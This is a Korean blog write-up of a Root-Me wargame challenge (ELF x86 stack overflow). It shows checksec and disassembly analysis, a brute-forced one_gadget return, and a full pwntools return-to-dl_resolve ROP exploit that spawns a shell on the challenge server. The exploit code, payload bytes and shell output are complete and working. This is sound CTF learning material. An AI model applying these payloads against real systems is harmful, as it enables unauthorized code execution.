1. intro
2. code 및 분석
2.1. code
code가 제공되지 않고 remote server로 접속해서 푸는 문제이다.
2.2. 분석
다른 문제가 안풀려서 푸는 문제... ㅠㅠ
우선 checksec부터 해봤다.
app-systeme-ch77@challenge03:~$ checksec ch77
[*] '/challenge/app-systeme/ch77/ch77'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 bit 파일이다.
소스코드가 제공되지 않기에 바로 gdb로 열어보았더니
app-systeme-ch77@challenge03:~$ gef ch77
Reading symbols from ch77...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 8.1.1 using Python engine 3.6
[*] 3 commands could not be loaded, run `gef missing` to know why.
gef➤ set disassembly-flavor att
gef➤ disas main
Dump of assembler code for function main:
0x0804842d <+0>: push %ebp
0x0804842e <+1>: mov %esp,%ebp
0x08048430 <+3>: and $0xfffffff0,%esp
0x08048433 <+6>: sub $0x20,%esp
0x08048436 <+9>: movl $0x64,0x8(%esp)
0x0804843e <+17>: lea 0x10(%esp),%eax
0x08048442 <+21>: mov %eax,0x4(%esp)
0x08048446 <+25>: movl $0x0,(%esp)
0x0804844d <+32>: call 0x80482e0 <read@plt>
0x08048452 <+37>: mov $0x0,%eax
0x08048457 <+42>: leave
0x08048458 <+43>: ret
End of assembler dump.
간단히 read 함수로 0x64 byts만큼 값을 받아들이며, main 함수 내에서 할당된 변수의 총 크기는 0x20 bytes이지만, read 함수로 받아들이는 위치에서 ret address까지의 크기는 값을 넣어 확인해보니 0x1c이었다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow로 인해 ret address 변조가 가능하다.
3.2. 공격 준비
RelRO로 인한 쓰기 불가, NX로 인한 shellcode 실행 불가, ASLR로 인한 address 특정이 불가하다.
즉, memory leak을 통한 rop 공격이 유효해진다.
그런데 leak을 하려고 보니 read 함수 밖에 사용하지 않기 때문에 불가하다.
이 경우 몇가지 방법이 있는데,
1. brute force를 통한 ret address 마지막만 변경해서 onegadget 주소로 return
2. file stream 구조체가 쓰이는 경우 구조체의 흐름을 fake file stream으로 돌려 leak 하는 방법.
3. return to csu를 통한 syscall.
4. ret address 마지막만 변경해서 syscall.
정도이다.
3.2.1. brute force
일단 ldd를 통해 libc base의 패턴을 확인해보니 아래와 같았다.
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7f17000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d1f000)
/lib/ld-linux.so.2 (0xf7f19000)
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7f48000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d50000)
/lib/ld-linux.so.2 (0xf7f4a000)
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7efc000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d04000)
/lib/ld-linux.so.2 (0xf7efe000)
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7f72000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d7a000)
/lib/ld-linux.so.2 (0xf7f74000)
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7ed5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cdd000)
/lib/ld-linux.so.2 (0xf7ed7000)
app-systeme-ch77@challenge03:~$ ldd ch77
linux-gate.so.1 (0xf7f61000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d69000)
/lib/ld-linux.so.2 (0xf7f63000)
대략 0xf7???000이 된다.
즉 1 / (16 x 16 x 16) = 1 / 4096의 확률로 성공할 수 있다.
여기에 libc 파일의 버전을 libc database를 통해 확인하였고, onegadget offset을 구하였다.
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget libc6_2.27-3ubuntu1.5_i386.so
0x3d2a3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d2a5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d2a9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d2b0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67ccf execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67cd0 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137eee execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137eef execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
더불어 각 onegadget의 조건을 확인하기 위해 아래와 같이 ret 직전 register의 값들을 확인하였다.
$eax : 0x0
$ebx : 0x0
$ecx : 0xffffdb40 → 0x41414141 ("AAAA"?)
$edx : 0x64
$esp : 0xffffdb5c → 0xf7df4f0a → <__libc_start_main+90> and $0x2, %ebx
$ebp : 0x41414141 ("AAAA"?)
$esi : 0xf7fb4000 → 0x001d7d8c
$edi : 0x0
$eip : 0x08048458 → <main+43> ret
...
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804844d <main+32> call 0x80482e0 <read@plt>
0x8048452 <main+37> mov $0x0, %eax
0x8048457 <main+42> leave
→ 0x8048458 <main+43> ret
↳ 0xf7df4f0a <__libc_start_main+90> and $0x2, %ebx
0xf7df4f0d <__libc_start_main+93> jne 0xf7df4ff3 <__libc_start_main+323>
0xf7df4f13 <__libc_start_main+99> cmpl $0x0, 0x6c(%esp)
0xf7df4f18 <__libc_start_main+104> je 0xf7df4f36 <__libc_start_main+134>
0xf7df4f1a <__libc_start_main+106> push %ecx
0xf7df4f1b <__libc_start_main+107> mov 0xc(%esp), %eax
...
Breakpoint 1, 0x08048458 in main ()
gef➤ x/x $esp+0x34
0xffffdb90: 0x00000000
gef➤ x/x $esp+0x38
0xffffdb94: 0xc738e05f
gef➤ x/x $esp+0x3c
0xffffdb98: 0x8610e64f
gef➤ x/x $esp+0x40
0xffffdb9c: 0x00000000
이를 통해 몇가지 직접 시도해보았더니 4번째 onegadget이 작동하는 것을 확인할 수 있었다.
gef➤ r <<< $(python -c 'print "A"*0x1c + "\xb0\x92\xe1\xf7"')
Starting program: /challenge/app-systeme/ch77/ch77 <<< $(python -c 'print "A"*0x1c + "\xb0\x92\xe1\xf7"')
process 7654 is executing new program: /bin/dash
[Inferior 1 (process 7654) exited normally]
이를 기준으로 brute force 해보자. (4.1. brute force 참조.)
3.2.2. fake file stream.
file stream으로 돌릴 방법이 있나?
없어보여 패스.
3.3.3. return to csu를 통한 syscall.
3.3.4. ret address 마지막만 변경해서 syscall.
둘 다 syscall gadget을 찾지 못해 패스.
3.3.5. return to dl_resolve
결국 문제가 원하는대로 return to dl_resolve를 통해 풀어야한다.
2022.11.10 - [Tips & theory] - return to dl resolve
return to dl resolve
- 서론 오랜만에 이론 글을 쓴다. root me 문제를 풀다가 NX, Relro, ASLR로 인해 rop이 가능할 것으로 판단하였고, 이에 memory leak이 필요한데 출력관련 함수가 하나도 없었다. 아무리 ASLR이라도 1/4096 확
wyv3rn.tistory.com
4. exploit
4.1. brute force
아래와 같이 파일을 대상으로 시도하였고, 성공했다.
from pwn import *
while 1:
#p = process('/challenge/app-systeme/ch77/ch77')
p = remote('challenge03.root-me.org',56577)
pay = b''
pay += b'A'*0x1c
pay += p32(0xf7dde2b0)
sleep(0.3)
p.sendline(pay)
try:
p.sendline(b'id')
ck = p.recv(100)
if 'groups' in ck:
print(ck)
p.interactive()
print(a) #왜인지 모르겠지만 close가 제대로 먹히지 않아 추가함
except:
p.close()
바이너리에 직접 실행했을때는 잘 되는데 리모트 환경에서는 왜인지 안된다;;;
...
[+] Starting local process '/challenge/app-systeme/ch77/ch77': Done
[*] Process '/challenge/app-systeme/ch77/ch77' stopped with exit code -5
[+] Starting local process '/challenge/app-systeme/ch77/ch77': Done
[*] Process '/challenge/app-systeme/ch77/ch77' stopped with exit code -11
[+] Starting local process '/challenge/app-systeme/ch77/ch77': Done
[*] Process '/challenge/app-systeme/ch77/ch77' stopped with exit code -5
[+] Starting local process '/challenge/app-systeme/ch77/ch77': Done
uid=1177(app-systeme-ch77) gid=1177(app-systeme-ch77) groups=1177(app-systeme-ch77),100(users)
[*] Switching to interactive mode
$ id
uid=1177(app-systeme-ch77) gid=1177(app-systeme-ch77) groups=1177(app-systeme-ch77),100(users)
4.2. return to dl_resolve
마찬가지로 바이너리 대상으로는 성공했는데 리모트 환경에서 계속 실패한다.
from pwn import *
from struct import *
context.log_level = 'debug'
elf = ELF('/challenge/app-systeme/ch77/ch77')
# get section address
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
addr_bss = elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read = elf.plt['read']
addr_got_read = elf.got['read']
log.info('Section Headers')
log.info('.dynsym : ' + hex(addr_dynsym))
log.info('.dynstr : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt : ' + hex(addr_plt))
log.info('.bss : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
addr_pop3 = 0x080484b9
addr_pop_ebp = 0x080484bb
addr_leave_ret = 0x08048398
stack_size = 0x300
base_stage = addr_bss + stack_size
#read(0,base_stage,100)
#jmp base_stage
buf1 = b'A'* (28)
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
addr_fake_reloc = base_stage + 20
addr_fake_sym = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd = addr_fake_symstr +7
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd : ' + hex(addr_fake_cmd))
log.info('addr_got_read : ' + hex(addr_got_read))
log.info('fake_r_info : ' + hex(fake_r_info))
log.info('fake_st_name : ' + hex(fake_st_name))
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = b'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += b'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += b'system\x00'
#String "/bin/sh"
buf2 += b'/bin/sh\x00'
binary = ELF(elf.path)
#p = process(binary.path)
p=remote('challenge03.root-me.org', 56577)
p.send(buf1)
p.send(buf2)
p.interactive()
app-systeme-ch77@challenge03:/tmp/wyv$ python a.py
[*] '/challenge/app-systeme/ch77/ch77'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Section Headers
[*] .dynsym : 0x80481cc
[*] .dynstr : 0x804821c
[*] .rel.plt : 0x8048298
[*] .plt : 0x80482d0
[*] .bss : 0x804a020
[*] read@plt : 0x80482e0
[*] read@got : 0x804a00c
[*]
[*] Fake Struct Information
[*] fake_reloc_offset : 0x209c
[*] addr_fake_cmd : 0x804a353
[*] addr_got_read : 0x804a00c
[*] fake_r_info : 0x21707
[*] fake_st_name : 0x2130
[+] Starting local process '/challenge/app-systeme/ch77/ch77': Done
[*] Switching to interactive mode
$ id
uid=1177(app-systeme-ch77) gid=1177(app-systeme-ch77) groups=1177(app-systeme-ch77),100(users)
그렇다는건 코드가 문제가 아니라는건데...
최근 풀다 포기한 remote format string 문제도 동일한 이슈로 판단된다.
조만간 다시 시도해봐야겠다.
뭐 한게 없는데 갑자기 성공함;;;;;
app-systeme-ch77@challenge03:/tmp/wyv$ python a.py
[*] '/challenge/app-systeme/ch77/ch77'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Section Headers
[*] .dynsym : 0x80481cc
[*] .dynstr : 0x804821c
[*] .rel.plt : 0x8048298
[*] .plt : 0x80482d0
[*] .bss : 0x804a020
[*] read@plt : 0x80482e0
[*] read@got : 0x804a00c
[*]
[*] Fake Struct Information
[*] fake_reloc_offset : 0x209c
[*] addr_fake_cmd : 0x804a353
[*] addr_got_read : 0x804a00c
[*] fake_r_info : 0x21707
[*] fake_st_name : 0x2130
[+] Opening connection to challenge03.root-me.org on port 56577: Done
[DEBUG] Sent 0x3c bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 e0 82 04 08 │AAAA│AAAA│AAAA│····│
00000020 b9 84 04 08 00 00 00 00 20 a3 04 08 64 00 00 00 │····│····│ ···│d···│
00000030 bb 84 04 08 20 a3 04 08 98 83 04 08 │····│ ···│····││
0000003c
[DEBUG] Sent 0x3b bytes:
00000000 41 41 41 41 d0 82 04 08 9c 20 00 00 42 42 42 42 │AAAA│····│· ··│BBBB│
00000010 53 a3 04 08 0c a0 04 08 07 17 02 00 30 21 00 00 │S···│····│····│0!··│
00000020 00 00 00 00 00 00 00 00 12 00 00 00 73 79 73 74 │····│····│····│syst│
00000030 65 6d 00 2f 62 69 6e 2f 73 68 00 │em·/│bin/│sh·│
0000003b
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x6c bytes:
'uid=1277(app-systeme-ch77-cracked) gid=1277(app-systeme-ch77-cracked) groups=1277(app-systeme-ch77-cracked)\n'
uid=1277(app-systeme-ch77-cracked) gid=1277(app-systeme-ch77-cracked) groups=1277(app-systeme-ch77-cracked)
'Wargame > Root me' 카테고리의 다른 글
[App system] ELF x64 - Stack buffer overflow - advanced (0) | 2022.10.26 |
---|---|
[App system] ELF x86 - Stack buffer overflow basic 5 (0) | 2022.10.25 |
[App-system] ELF x86 - Stack buffer and integer overflow (0) | 2022.10.22 |
[App-system] ELF x86 - Stack buffer overflow - C++ vtables (0) | 2022.10.21 |
[Cracking] ELF C++ - 0 protection (0) | 2022.07.15 |